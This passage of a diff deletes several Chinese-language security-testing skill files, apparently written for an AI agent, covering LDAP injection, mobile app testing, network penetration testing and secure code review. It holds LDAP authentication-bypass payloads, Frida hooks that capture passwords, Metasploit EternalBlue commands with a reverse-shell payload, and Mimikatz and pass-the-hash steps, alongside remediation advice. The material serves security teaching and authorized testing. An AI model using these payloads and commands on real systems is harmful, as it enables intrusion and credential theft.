|
||||
*))%00
|
||||
```
|
||||
|
||||
**测试逻辑操作符:**
|
||||
```
|
||||
*)(&(cn=*
|
||||
*)(|(cn=*
|
||||
*))(!(cn=*
|
||||
```
|
||||
|
||||
### 3. 认证绕过
|
||||
|
||||
**基础绕过:**
|
||||
```
|
||||
用户名: *)(&
|
||||
密码: *
|
||||
查询: (&(cn=*)(&)(userPassword=*))
|
||||
```
|
||||
|
||||
**更精确的绕过:**
|
||||
```
|
||||
用户名: admin)(&(cn=admin
|
||||
密码: *))
|
||||
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
|
||||
```
|
||||
|
||||
### 4. 信息泄露
|
||||
|
||||
**枚举用户:**
|
||||
```
|
||||
*)(cn=*
|
||||
*)(uid=*
|
||||
*)(mail=*
|
||||
```
|
||||
|
||||
**获取属性:**
|
||||
```
|
||||
*)(|(cn=*)(userPassword=*
|
||||
*)(|(objectClass=*)(cn=*
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 认证绕过
|
||||
|
||||
**方法1:逻辑绕过**
|
||||
```
|
||||
输入: *)(&
|
||||
查询: (&(cn=*)(&)(userPassword=*))
|
||||
结果: 匹配所有用户
|
||||
```
|
||||
|
||||
**方法2:注释绕过**
|
||||
```
|
||||
输入: admin)(&(cn=admin
|
||||
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
|
||||
```
|
||||
|
||||
**方法3:通配符**
|
||||
```
|
||||
输入: *)(|(cn=*)(userPassword=*
|
||||
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
|
||||
```
|
||||
|
||||
### 信息泄露
|
||||
|
||||
**枚举所有用户:**
|
||||
```
|
||||
搜索: *)(cn=*
|
||||
结果: 返回所有cn属性
|
||||
```
|
||||
|
||||
**获取密码哈希:**
|
||||
```
|
||||
搜索: *)(|(cn=*)(userPassword=*
|
||||
结果: 返回用户和密码哈希
|
||||
```
|
||||
|
||||
**获取敏感属性:**
|
||||
```
|
||||
搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
|
||||
结果: 返回多个敏感属性
|
||||
```
|
||||
|
||||
### 权限提升
|
||||
|
||||
**修改查询逻辑:**
|
||||
```
|
||||
原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
|
||||
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
|
||||
结果: 可能绕过权限检查
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
*)(& → %2A%29%28%26
|
||||
*)(| → %2A%29%28%7C
|
||||
```
|
||||
|
||||
**Unicode编码:**
|
||||
```
|
||||
* → \u002A
|
||||
( → \u0028
|
||||
) → \u0029
|
||||
```
|
||||
|
||||
### 注释绕过
|
||||
|
||||
**使用注释:**
|
||||
```
|
||||
*)(&(cn=*
|
||||
*)(|(cn=*
|
||||
```
|
||||
|
||||
### 空字符注入
|
||||
|
||||
**使用NULL字节:**
|
||||
```
|
||||
*))%00
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### JXplorer
|
||||
|
||||
**图形化LDAP客户端:**
|
||||
- 连接LDAP服务器
|
||||
- 浏览目录结构
|
||||
- 执行查询测试
|
||||
|
||||
### ldapsearch
|
||||
|
||||
```bash
|
||||
# 基础查询
|
||||
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
|
||||
|
||||
# 测试注入
|
||||
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截LDAP查询请求
|
||||
2. 修改查询参数
|
||||
3. 观察响应结果
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
import ldap3
|
||||
|
||||
server = ldap3.Server('ldap://target.com')
|
||||
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
|
||||
user='cn=admin,dc=example,dc=com',
|
||||
password='password')
|
||||
|
||||
# 测试注入
|
||||
filter_str = '*)(&'
|
||||
conn.search('dc=example,dc=com', filter_str)
|
||||
print(conn.entries)
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制LDAP查询
|
||||
2. 验证认证绕过或信息泄露
|
||||
3. 评估影响(未授权访问、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- LDAP查询构造方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、参数化查询等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **输入验证**
|
||||
```java
|
||||
private static final String[] LDAP_ESCAPE_CHARS =
|
||||
{"\\", "*", "(", ")", "\0", "/"};
|
||||
|
||||
public static String escapeLDAP(String input) {
|
||||
if (input == null) {
|
||||
return null;
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
|
||||
sb.append("\\");
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
```
|
||||
|
||||
2. **参数化查询**
|
||||
```java
|
||||
// 使用LDAP API的参数化功能
|
||||
String filter = "(&(cn={0})(userPassword={1}))";
|
||||
Object[] args = {escapedCN, escapedPassword};
|
||||
// 使用API构建查询
|
||||
```
|
||||
|
||||
3. **白名单验证**
|
||||
```java
|
||||
// 只允许特定字符
|
||||
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
|
||||
throw new IllegalArgumentException("Invalid input");
|
||||
}
|
||||
```
|
||||
|
||||
4. **最小权限**
|
||||
- LDAP连接使用最小权限账户
|
||||
- 限制可查询的属性
|
||||
- 使用访问控制列表
|
||||
|
||||
5. **错误处理**
|
||||
- 不返回详细错误信息
|
||||
- 统一错误响应
|
||||
- 记录错误日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同LDAP服务器的语法差异
|
||||
- 测试时避免对目录造成影响
|
||||
- 了解目标LDAP服务器的配置
|
||||
@@ -1,370 +0,0 @@
|
||||
---
|
||||
name: mobile-app-security-testing
|
||||
description: 移动应用安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 移动应用安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 应用安全
|
||||
|
||||
**检查项目:**
|
||||
- 代码混淆
|
||||
- 反编译防护
|
||||
- 调试防护
|
||||
- 证书绑定
|
||||
|
||||
### 2. 数据安全
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 敏感数据存储
|
||||
- 数据传输
|
||||
|
||||
### 3. 认证授权
|
||||
|
||||
**检查项目:**
|
||||
- 认证机制
|
||||
- Token管理
|
||||
- 生物识别
|
||||
- 会话管理
|
||||
|
||||
### 4. 通信安全
|
||||
|
||||
**检查项目:**
|
||||
- TLS/SSL配置
|
||||
- 证书验证
|
||||
- API安全
|
||||
- 中间人攻击防护
|
||||
|
||||
## Android安全测试
|
||||
|
||||
### 静态分析
|
||||
|
||||
**使用APKTool:**
|
||||
```bash
|
||||
# 反编译APK
|
||||
apktool d app.apk
|
||||
|
||||
# 查看AndroidManifest.xml
|
||||
cat app/AndroidManifest.xml
|
||||
|
||||
# 查看Smali代码
|
||||
find app/smali -name "*.smali"
|
||||
```
|
||||
|
||||
**使用Jadx:**
|
||||
```bash
|
||||
# 反编译APK
|
||||
jadx -d output app.apk
|
||||
|
||||
# 查看Java源码
|
||||
find output -name "*.java"
|
||||
```
|
||||
|
||||
**使用MobSF:**
|
||||
```bash
|
||||
# 启动MobSF
|
||||
docker run -it -p 8000:8000 opensecurity/mobsf
|
||||
|
||||
# 上传APK进行分析
|
||||
# 访问 http://localhost:8000
|
||||
```
|
||||
|
||||
### 动态分析
|
||||
|
||||
**使用Frida:**
|
||||
```javascript
|
||||
// Hook函数
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use("com.example.MainActivity");
|
||||
MainActivity.onCreate.implementation = function(savedInstanceState) {
|
||||
console.log("[*] onCreate called");
|
||||
this.onCreate(savedInstanceState);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
**使用Objection:**
|
||||
```bash
|
||||
# 启动Objection
|
||||
objection -g com.example.app explore
|
||||
|
||||
# Hook函数
|
||||
android hooking watch class_method com.example.MainActivity.onCreate
|
||||
```
|
||||
|
||||
**使用Burp Suite:**
|
||||
```bash
|
||||
# 配置代理
|
||||
# Android设置代理指向Burp Suite
|
||||
# 安装Burp证书
|
||||
```
|
||||
|
||||
### 常见漏洞
|
||||
|
||||
**硬编码密钥:**
|
||||
```java
|
||||
// 不安全的代码
|
||||
String apiKey = "1234567890abcdef";
|
||||
String password = "admin123";
|
||||
```
|
||||
|
||||
**不安全的存储:**
|
||||
```java
|
||||
// SharedPreferences存储敏感数据
|
||||
SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE);
|
||||
prefs.edit().putString("password", password).apply();
|
||||
```
|
||||
|
||||
**证书验证绕过:**
|
||||
```java
|
||||
// 不验证证书
|
||||
TrustManager[] trustAllCerts = new TrustManager[] {
|
||||
new X509TrustManager() {
|
||||
public X509Certificate[] getAcceptedIssuers() { return null; }
|
||||
public void checkClientTrusted(X509Certificate[] certs, String authType) { }
|
||||
public void checkServerTrusted(X509Certificate[] certs, String authType) { }
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## iOS安全测试
|
||||
|
||||
### 静态分析
|
||||
|
||||
**使用class-dump:**
|
||||
```bash
|
||||
# 导出头文件
|
||||
class-dump app.ipa
|
||||
|
||||
# 查看头文件
|
||||
find app -name "*.h"
|
||||
```
|
||||
|
||||
**使用Hopper:**
|
||||
```bash
|
||||
# 使用Hopper反汇编
|
||||
# 打开app二进制文件
|
||||
# 分析汇编代码
|
||||
```
|
||||
|
||||
**使用otool:**
|
||||
```bash
|
||||
# 查看Mach-O信息
|
||||
otool -L app
|
||||
|
||||
# 查看字符串
|
||||
strings app | grep -i "password\|key\|secret"
|
||||
```
|
||||
|
||||
### 动态分析
|
||||
|
||||
**使用Frida:**
|
||||
```javascript
|
||||
// Hook Objective-C方法
|
||||
var className = ObjC.classes.ViewController;
|
||||
var method = className['- login:password:'];
|
||||
Interceptor.attach(method.implementation, {
|
||||
onEnter: function(args) {
|
||||
console.log("[*] Login called");
|
||||
console.log("Username: " + ObjC.Object(args[2]).toString());
|
||||
console.log("Password: " + ObjC.Object(args[3]).toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**使用Cycript:**
|
||||
```bash
|
||||
# 附加到进程
|
||||
cycript -p app
|
||||
|
||||
# 执行命令
|
||||
[UIApplication sharedApplication]
|
||||
```
|
||||
|
||||
### 常见漏洞
|
||||
|
||||
**硬编码密钥:**
|
||||
```objective-c
|
||||
// 不安全的代码
|
||||
NSString *apiKey = @"1234567890abcdef";
|
||||
NSString *password = @"admin123";
|
||||
```
|
||||
|
||||
**不安全的存储:**
|
||||
```objective-c
|
||||
// Keychain存储不当
|
||||
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
||||
[defaults setObject:password forKey:@"password"];
|
||||
```
|
||||
|
||||
**证书验证绕过:**
|
||||
```objective-c
|
||||
// 不验证证书
|
||||
- (void)connection:(NSURLConnection *)connection
|
||||
didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
|
||||
[challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust]
|
||||
forAuthenticationChallenge:challenge];
|
||||
}
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### MobSF
|
||||
|
||||
```bash
|
||||
# 启动MobSF
|
||||
docker run -it -p 8000:8000 opensecurity/mobsf
|
||||
|
||||
# 上传应用进行分析
|
||||
# 支持Android和iOS
|
||||
```
|
||||
|
||||
### Frida
|
||||
|
||||
```bash
|
||||
# 安装Frida
|
||||
pip install frida-tools
|
||||
|
||||
# 运行脚本
|
||||
frida -U -f com.example.app -l script.js
|
||||
```
|
||||
|
||||
### Objection
|
||||
|
||||
```bash
|
||||
# 安装Objection
|
||||
pip install objection
|
||||
|
||||
# 启动Objection
|
||||
objection -g com.example.app explore
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**配置代理:**
|
||||
1. 配置Burp Suite监听器
|
||||
2. 移动设备设置代理
|
||||
3. 安装Burp证书
|
||||
4. 拦截和分析流量
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 应用安全
|
||||
- [ ] 代码混淆检查
|
||||
- [ ] 反编译防护
|
||||
- [ ] 调试防护
|
||||
- [ ] 证书绑定
|
||||
|
||||
### 数据安全
|
||||
- [ ] 数据加密检查
|
||||
- [ ] 密钥管理
|
||||
- [ ] 敏感数据存储
|
||||
- [ ] 数据传输安全
|
||||
|
||||
### 认证授权
|
||||
- [ ] 认证机制测试
|
||||
- [ ] Token管理
|
||||
- [ ] 会话管理
|
||||
- [ ] 生物识别
|
||||
|
||||
### 通信安全
|
||||
- [ ] TLS/SSL配置
|
||||
- [ ] 证书验证
|
||||
- [ ] API安全测试
|
||||
- [ ] 中间人攻击防护
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 硬编码密钥
|
||||
|
||||
**问题:**
|
||||
- API密钥硬编码
|
||||
- 密码硬编码
|
||||
- 加密密钥硬编码
|
||||
|
||||
**修复:**
|
||||
- 使用密钥管理服务
|
||||
- 使用环境变量
|
||||
- 使用安全存储
|
||||
|
||||
### 2. 不安全的存储
|
||||
|
||||
**问题:**
|
||||
- 明文存储敏感数据
|
||||
- 使用不安全的存储方式
|
||||
- 数据未加密
|
||||
|
||||
**修复:**
|
||||
- 使用加密存储
|
||||
- 使用Keychain/Keystore
|
||||
- 实施数据加密
|
||||
|
||||
### 3. 证书验证绕过
|
||||
|
||||
**问题:**
|
||||
- 不验证SSL证书
|
||||
- 接受自签名证书
|
||||
- 证书固定未实施
|
||||
|
||||
**修复:**
|
||||
- 实施证书固定
|
||||
- 验证证书链
|
||||
- 使用系统证书存储
|
||||
|
||||
### 4. 调试信息泄露
|
||||
|
||||
**问题:**
|
||||
- 日志包含敏感信息
|
||||
- 错误信息泄露
|
||||
- 调试模式未禁用
|
||||
|
||||
**修复:**
|
||||
- 移除调试代码
|
||||
- 限制日志输出
|
||||
- 生产环境禁用调试
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 代码安全
|
||||
|
||||
- 实施代码混淆
|
||||
- 禁用调试功能
|
||||
- 实施反调试保护
|
||||
- 使用证书绑定
|
||||
|
||||
### 2. 数据安全
|
||||
|
||||
- 加密敏感数据
|
||||
- 使用安全存储
|
||||
- 实施密钥管理
|
||||
- 限制数据访问
|
||||
|
||||
### 3. 通信安全
|
||||
|
||||
- 使用TLS/SSL
|
||||
- 实施证书固定
|
||||
- 验证服务器证书
|
||||
- 使用安全API
|
||||
|
||||
### 4. 认证安全
|
||||
|
||||
- 实施强认证
|
||||
- 安全Token管理
|
||||
- 实施会话管理
|
||||
- 使用生物识别
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 遵守法律法规
|
||||
- 注意不同平台的差异
|
||||
- 保护用户隐私
|
||||
@@ -1,403 +0,0 @@
|
||||
---
|
||||
name: network-penetration-testing
|
||||
description: 网络渗透测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 网络渗透测试
|
||||
|
||||
## 概述
|
||||
|
||||
网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 信息收集
|
||||
|
||||
**检查项目:**
|
||||
- 网络拓扑
|
||||
- 主机发现
|
||||
- 端口扫描
|
||||
- 服务识别
|
||||
|
||||
### 2. 漏洞扫描
|
||||
|
||||
**检查项目:**
|
||||
- 系统漏洞
|
||||
- 服务漏洞
|
||||
- 配置错误
|
||||
- 弱密码
|
||||
|
||||
### 3. 漏洞利用
|
||||
|
||||
**检查项目:**
|
||||
- 远程代码执行
|
||||
- 权限提升
|
||||
- 横向移动
|
||||
- 持久化
|
||||
|
||||
## 信息收集
|
||||
|
||||
### 网络扫描
|
||||
|
||||
**使用Nmap:**
|
||||
```bash
|
||||
# 主机发现
|
||||
nmap -sn 192.168.1.0/24
|
||||
|
||||
# 端口扫描
|
||||
nmap -sS -p- 192.168.1.100
|
||||
|
||||
# 服务识别
|
||||
nmap -sV -sC 192.168.1.100
|
||||
|
||||
# 操作系统识别
|
||||
nmap -O 192.168.1.100
|
||||
|
||||
# 完整扫描
|
||||
nmap -sS -sV -sC -O -p- 192.168.1.100
|
||||
```
|
||||
|
||||
**使用Masscan:**
|
||||
```bash
|
||||
# 快速端口扫描
|
||||
masscan -p1-65535 192.168.1.0/24 --rate=1000
|
||||
```
|
||||
|
||||
### 服务枚举
|
||||
|
||||
**SMB枚举:**
|
||||
```bash
|
||||
# 枚举SMB共享
|
||||
smbclient -L //192.168.1.100 -N
|
||||
|
||||
# 枚举SMB用户
|
||||
enum4linux -U 192.168.1.100
|
||||
|
||||
# 使用nmap脚本
|
||||
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
|
||||
```
|
||||
|
||||
**RPC枚举:**
|
||||
```bash
|
||||
# 枚举RPC服务
|
||||
rpcclient -U "" -N 192.168.1.100
|
||||
|
||||
# 使用nmap脚本
|
||||
nmap --script rpc-enum 192.168.1.100
|
||||
```
|
||||
|
||||
**SNMP枚举:**
|
||||
```bash
|
||||
# SNMP扫描
|
||||
snmpwalk -v2c -c public 192.168.1.100
|
||||
|
||||
# 使用onesixtyone
|
||||
onesixtyone -c wordlist.txt 192.168.1.0/24
|
||||
```
|
||||
|
||||
## 漏洞扫描
|
||||
|
||||
### 使用Nessus
|
||||
|
||||
```bash
|
||||
# 启动Nessus
|
||||
# 访问Web界面
|
||||
# 创建扫描任务
|
||||
# 分析扫描结果
|
||||
```
|
||||
|
||||
### 使用OpenVAS
|
||||
|
||||
```bash
|
||||
# 启动OpenVAS
|
||||
gvm-setup
|
||||
|
||||
# 访问Web界面
|
||||
# 创建扫描任务
|
||||
# 分析扫描结果
|
||||
```
|
||||
|
||||
### 使用Nmap脚本
|
||||
|
||||
```bash
|
||||
# 漏洞扫描
|
||||
nmap --script vuln 192.168.1.100
|
||||
|
||||
# 特定漏洞扫描
|
||||
nmap --script smb-vuln-ms17-010 192.168.1.100
|
||||
|
||||
# 所有脚本
|
||||
nmap --script all 192.168.1.100
|
||||
```
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
### Metasploit
|
||||
|
||||
**基础使用:**
|
||||
```bash
|
||||
# 启动Metasploit
|
||||
msfconsole
|
||||
|
||||
# 搜索漏洞
|
||||
search ms17-010
|
||||
|
||||
# 使用模块
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# 设置参数
|
||||
set RHOSTS 192.168.1.100
|
||||
set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
set LHOST 192.168.1.10
|
||||
set LPORT 4444
|
||||
|
||||
# 执行
|
||||
exploit
|
||||
```
|
||||
|
||||
**后渗透:**
|
||||
```bash
|
||||
# 获取系统信息
|
||||
sysinfo
|
||||
|
||||
# 获取权限
|
||||
getsystem
|
||||
|
||||
# 迁移进程
|
||||
migrate <pid>
|
||||
|
||||
# 获取哈希
|
||||
hashdump
|
||||
|
||||
# 获取密码
|
||||
run post/windows/gather/smart_hashdump
|
||||
```
|
||||
|
||||
### 常见漏洞利用
|
||||
|
||||
**EternalBlue:**
|
||||
```bash
|
||||
# 使用Metasploit
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# 使用独立工具
|
||||
python eternalblue.py 192.168.1.100
|
||||
```
|
||||
|
||||
**BlueKeep:**
|
||||
```bash
|
||||
# 使用Metasploit
|
||||
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
|
||||
```
|
||||
|
||||
**SMBGhost:**
|
||||
```bash
|
||||
# 使用独立工具
|
||||
python smbghost.py 192.168.1.100
|
||||
```
|
||||
|
||||
## 横向移动
|
||||
|
||||
### 密码破解
|
||||
|
||||
**使用Hashcat:**
|
||||
```bash
|
||||
# 破解NTLM哈希
|
||||
hashcat -m 1000 hashes.txt wordlist.txt
|
||||
|
||||
# 破解LM哈希
|
||||
hashcat -m 3000 hashes.txt wordlist.txt
|
||||
|
||||
# 使用规则
|
||||
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule
|
||||
```
|
||||
|
||||
**使用John:**
|
||||
```bash
|
||||
# 破解哈希
|
||||
john hashes.txt
|
||||
|
||||
# 使用字典
|
||||
john --wordlist=wordlist.txt hashes.txt
|
||||
|
||||
# 使用规则
|
||||
john --wordlist=wordlist.txt --rules hashes.txt
|
||||
```
|
||||
|
||||
### Pass-the-Hash
|
||||
|
||||
**使用Impacket:**
|
||||
```bash
|
||||
# SMB Pass-the-Hash
|
||||
python smbexec.py -hashes :<hash> domain/user@target
|
||||
|
||||
# WMI Pass-the-Hash
|
||||
python wmiexec.py -hashes :<hash> domain/user@target
|
||||
|
||||
# RDP Pass-the-Hash
|
||||
xfreerdp /u:user /pth:<hash> /v:target
|
||||
```
|
||||
|
||||
### 票据传递
|
||||
|
||||
**使用Mimikatz:**
|
||||
```bash
|
||||
# 提取票据
|
||||
sekurlsa::tickets /export
|
||||
|
||||
# 注入票据
|
||||
kerberos::ptt ticket.kirbi
|
||||
```
|
||||
|
||||
**使用Rubeus:**
|
||||
```bash
|
||||
# 请求票据
|
||||
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
|
||||
|
||||
# 注入票据
|
||||
Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
# 完整扫描
|
||||
nmap -sS -sV -sC -O -p- -T4 target
|
||||
|
||||
# 隐蔽扫描
|
||||
nmap -sS -T2 -f -D RND:10 target
|
||||
|
||||
# UDP扫描
|
||||
nmap -sU -p- target
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
```bash
|
||||
# 启动框架
|
||||
msfconsole
|
||||
|
||||
# 数据库初始化
|
||||
msfdb init
|
||||
|
||||
# 导入扫描结果
|
||||
db_import nmap.xml
|
||||
|
||||
# 查看主机
|
||||
hosts
|
||||
|
||||
# 查看服务
|
||||
services
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**网络扫描:**
|
||||
1. 配置代理
|
||||
2. 浏览目标网络
|
||||
3. 分析流量
|
||||
4. 主动扫描
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 信息收集
|
||||
- [ ] 网络拓扑发现
|
||||
- [ ] 主机发现
|
||||
- [ ] 端口扫描
|
||||
- [ ] 服务识别
|
||||
- [ ] 操作系统识别
|
||||
|
||||
### 漏洞扫描
|
||||
- [ ] 系统漏洞扫描
|
||||
- [ ] 服务漏洞扫描
|
||||
- [ ] 配置错误检查
|
||||
- [ ] 弱密码检查
|
||||
|
||||
### 漏洞利用
|
||||
- [ ] 远程代码执行
|
||||
- [ ] 权限提升
|
||||
- [ ] 横向移动
|
||||
- [ ] 持久化
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 未打补丁的系统
|
||||
|
||||
**问题:**
|
||||
- 系统未及时更新
|
||||
- 存在已知漏洞
|
||||
- 补丁管理不当
|
||||
|
||||
**修复:**
|
||||
- 及时安装补丁
|
||||
- 建立补丁管理流程
|
||||
- 定期安全更新
|
||||
|
||||
### 2. 弱密码
|
||||
|
||||
**问题:**
|
||||
- 默认密码
|
||||
- 简单密码
|
||||
- 密码重用
|
||||
|
||||
**修复:**
|
||||
- 实施强密码策略
|
||||
- 启用多因素认证
|
||||
- 定期更换密码
|
||||
|
||||
### 3. 开放端口
|
||||
|
||||
**问题:**
|
||||
- 不必要的端口开放
|
||||
- 服务暴露
|
||||
- 防火墙配置错误
|
||||
|
||||
**修复:**
|
||||
- 关闭不必要端口
|
||||
- 实施防火墙规则
|
||||
- 使用VPN访问
|
||||
|
||||
### 4. 配置错误
|
||||
|
||||
**问题:**
|
||||
- 默认配置
|
||||
- 权限过大
|
||||
- 服务配置不当
|
||||
|
||||
**修复:**
|
||||
- 安全配置基线
|
||||
- 最小权限原则
|
||||
- 定期配置审查
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 信息收集
|
||||
|
||||
- 全面扫描
|
||||
- 多工具验证
|
||||
- 记录发现
|
||||
- 分析结果
|
||||
|
||||
### 2. 漏洞利用
|
||||
|
||||
- 授权测试
|
||||
- 最小影响
|
||||
- 记录操作
|
||||
- 及时清理
|
||||
|
||||
### 3. 报告编写
|
||||
|
||||
- 详细记录
|
||||
- 风险评级
|
||||
- 修复建议
|
||||
- 验证步骤
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 避免对生产系统造成影响
|
||||
- 遵守法律法规
|
||||
- 保护测试数据
|
||||
@@ -1,286 +0,0 @@
|
||||
---
|
||||
name: secure-code-review
|
||||
description: 安全代码审查的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全代码审查
|
||||
|
||||
## 概述
|
||||
|
||||
安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。
|
||||
|
||||
## 审查范围
|
||||
|
||||
### 1. 输入验证
|
||||
|
||||
**检查项目:**
|
||||
- 用户输入验证
|
||||
- 参数验证
|
||||
- 数据过滤
|
||||
- 边界检查
|
||||
|
||||
### 2. 输出编码
|
||||
|
||||
**检查项目:**
|
||||
- XSS防护
|
||||
- 输出编码
|
||||
- 内容安全策略
|
||||
- 响应头设置
|
||||
|
||||
### 3. 认证授权
|
||||
|
||||
**检查项目:**
|
||||
- 认证机制
|
||||
- 会话管理
|
||||
- 权限控制
|
||||
- 密码处理
|
||||
|
||||
### 4. 加密和密钥
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 哈希算法
|
||||
- 随机数生成
|
||||
|
||||
## 审查方法
|
||||
|
||||
### 1. 静态分析
|
||||
|
||||
**使用SAST工具:**
|
||||
```bash
|
||||
# SonarQube
|
||||
sonar-scanner
|
||||
|
||||
# Checkmarx
|
||||
# 使用Web界面
|
||||
|
||||
# Fortify
|
||||
sourceanalyzer -b project build.sh
|
||||
sourceanalyzer -b project -scan
|
||||
|
||||
# Semgrep
|
||||
semgrep --config=auto .
|
||||
```
|
||||
|
||||
### 2. 手动审查
|
||||
|
||||
**审查清单:**
|
||||
- [ ] 输入验证
|
||||
- [ ] 输出编码
|
||||
- [ ] SQL注入
|
||||
- [ ] XSS漏洞
|
||||
- [ ] 认证授权
|
||||
- [ ] 加密使用
|
||||
- [ ] 错误处理
|
||||
- [ ] 日志记录
|
||||
|
||||
### 3. 代码模式识别
|
||||
|
||||
**危险函数:**
|
||||
```python
|
||||
# Python危险函数
|
||||
eval()
|
||||
exec()
|
||||
pickle.loads()
|
||||
os.system()
|
||||
subprocess.call()
|
||||
```
|
||||
|
||||
```java
|
||||
// Java危险函数
|
||||
Runtime.exec()
|
||||
ProcessBuilder()
|
||||
Class.forName()
|
||||
```
|
||||
|
||||
```php
|
||||
// PHP危险函数
|
||||
eval()
|
||||
exec()
|
||||
system()
|
||||
passthru()
|
||||
```
|
||||
|
||||
## 常见漏洞模式
|
||||
|
||||
### SQL注入
|
||||
|
||||
**危险代码:**
|
||||
```java
|
||||
String query = "SELECT * FROM users WHERE id = " + userId;
|
||||
Statement stmt = connection.createStatement();
|
||||
ResultSet rs = stmt.executeQuery(query);
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String query = "SELECT * FROM users WHERE id = ?";
|
||||
PreparedStatement stmt = connection.prepareStatement(query);
|
||||
stmt.setInt(1, userId);
|
||||
ResultSet rs = stmt.executeQuery();
|
||||
```
|
||||
|
||||
### XSS漏洞
|
||||
|
||||
**危险代码:**
|
||||
```javascript
|
||||
document.innerHTML = userInput;
|
||||
element.innerHTML = "<div>" + userInput + "</div>";
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```javascript
|
||||
element.textContent = userInput;
|
||||
element.setAttribute("data-value", userInput);
|
||||
// 或使用编码库
|
||||
element.innerHTML = escapeHtml(userInput);
|
||||
```
|
||||
|
||||
### 命令注入
|
||||
|
||||
**危险代码:**
|
||||
```python
|
||||
import os
|
||||
os.system("ping " + user_input)
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```python
|
||||
import subprocess
|
||||
subprocess.run(["ping", "-c", "1", validated_input])
|
||||
```
|
||||
|
||||
### 路径遍历
|
||||
|
||||
**危险代码:**
|
||||
```java
|
||||
String filePath = "/uploads/" + fileName;
|
||||
File file = new File(filePath);
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String basePath = "/uploads/";
|
||||
String fileName = Paths.get(fileName).getFileName().toString();
|
||||
String filePath = basePath + fileName;
|
||||
File file = new File(filePath);
|
||||
if (!file.getCanonicalPath().startsWith(basePath)) {
|
||||
throw new SecurityException("Invalid path");
|
||||
}
|
||||
```
|
||||
|
||||
### 硬编码密钥
|
||||
|
